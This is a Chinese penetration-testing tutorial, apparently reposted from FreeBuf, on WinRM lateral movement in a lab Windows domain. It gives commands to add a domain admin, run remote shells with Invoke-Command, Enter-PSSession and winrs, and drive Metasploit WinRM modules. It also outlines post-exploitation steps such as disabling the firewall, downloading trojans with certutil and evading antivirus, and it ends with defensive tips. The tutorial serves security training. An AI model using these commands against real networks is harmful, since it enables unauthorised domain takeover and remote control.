前言
WinRM 是 Microsoft 对 WS-Management 协议的实现,WS-Management 协议即一种基于标准简单对象访问协议[SOAP]的 “防火墙友好” 协议,它让来自不同供应商的硬件和操作系统能够互相操作。winRM的默认端口为5985(http)或5986(https)。
winRM横向移动同时适用于工作组和域环境。
利用条件
利用条件:
1、win 2012之前利用需要手动开启winRM ,在win 2012之后(包括win 2012)的版本是默认开启的,
2、防火墙对5986、5985端口开放。
1:已经获取目标主机,或者是要打域控,域管账户明文密码的情况下
2:开启了5986 或 5985 命令:netstat -ano |findstr 5985 或 nmap -p 5985,5986 -sV 指定IP
3:在已拿下的主机上设置(启动WinRM服务,默认是启动的,因为当前是版本是win10,但最好是再使用下以下命令):
命令一:winrm quickconfig
命令二:winrm set winrm/config/Client @{TrustedHosts="*"; AllowUnencrypted="true"}
环境介绍
域:god.com
域控:win2012 god\administrator [email protected]@@ 192.168.29.176
域管用户:god\key [email protected]
域用户:Win10 god\test [email protected] 192.168.29.177
注:实战中获取域管用户密码通常通过内存导出,进程注入,密码爆破,漏洞利用等方式进行获取
拓展:(添加域控命令)
net user key [email protected] /add /domain
net group "Domain Admins" key /add /domain
net group "Enterprise Admins" key /add /domain
查看域管,成功将Key添加为域管用户
net group "domain admins" /domain
利用方式
Powershell执行
1:Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ } 【工作组使用】
//命令执行
2:Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture} 【域环境使用】
//命令执行
3:Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture} 【域环境使用】
//命令执行
3:Enter-PSSession -ComputerName 192.168.29.176 -Credential god\administrator 【域环境使用】
//返回交互式shell
实例2:
Invoke-Command -ComputerName 192.168.29.176 -Credential god\key -command {whoami}
实例3:
Enter-PSSession -ComputerName 192.168.29.176 -Credential god\key 【交互式Shell】
CMD执行
1:winrs -r:http://192.168.29.176:5985 -u:用户名 -p:[email protected] "ipconfig" 【5985用http】
2:winrs -r:https://192.168.29.176:5985 -u:用户名 -p:[email protected] "ipconfig" 【5986用https】
获取交互式shell
3:winrs -r:http://192.168.29.176:5985 -u:域名\用户名 -p:[email protected] cmd 【5985用http】
4:winrs -r:https://192.168.29.176:5985 -u:域名\用户名 -p:[email protected] cmd 【5986用http】
实例1:
winrs -r:http://192.168.29.176:5985 -u:key -p:[email protected] "ipconfig"
实例3:
winrs -r:http://192.168.29.176:5985 -u:god\key -p:[email protected] cmd
1、检测
use auxiliary/scanner/winrm/winrm_auth_method
set domain god.com
set rhosts 192.168.29.176
exploit
2、确定我们获得的管理员凭据是否对其系统有效
auxiliary/scanner/winrm/winrm_login
set domain god.com
set username key
set password [email protected]
set rhosts 192.168.29.176
set rport 5985
3、利用当前管理员凭据对目标主机win2012是有效的。确定凭据有效后,尝试对目标主机win2012执行命令
use auxiliary/scanner/winrm/winrm_cmd
set rhosts 192.168.29.176
set DOMAIN god.com
set USERNAME administrator
set PASSWORD [email protected]@@
set CMD ipconfig 【需要执行的命令】
获取权限
通过以上方法横向到目标主机后,通过多种方式上线远控:列举一下三种(还有其他姿势暂且不写,以下三种为简单粗暴的):
1:开3389,关防火墙,rdp上线 ,如果做了对3389做了安全策略,用netsh端口转发绕过即可 【其实在横向的时候,需要目标的密码,我们通过某些方式获取到后,但目标没有开放3389,但是开放了5985,5986服务,这个时候就可通过winrm横向过去】
2、目标不出网certutil下载正向马执行,CS及MSF上线 【无杀软情况,有杀软做免杀】
3、目标出网powershell、反向exe,上线CS及MSF【无杀软情况,有杀软做免杀】
防御手段
1、设置主机白名单,仅允许某些可信的计算机连接到 WinRM 服务器
2、启用适当的身份验证和加密机制,例如 Kerberos 身份验证和进行 SSL 加密
3、下杀软,装waf,设置强密码等
4、实施网络隔离和分段,使得 WinRM 只能在受信任的网络区域内运行
作者:key111,文章转载于FreeBuf
END
• 往期精选
下方点击关注发现更多精彩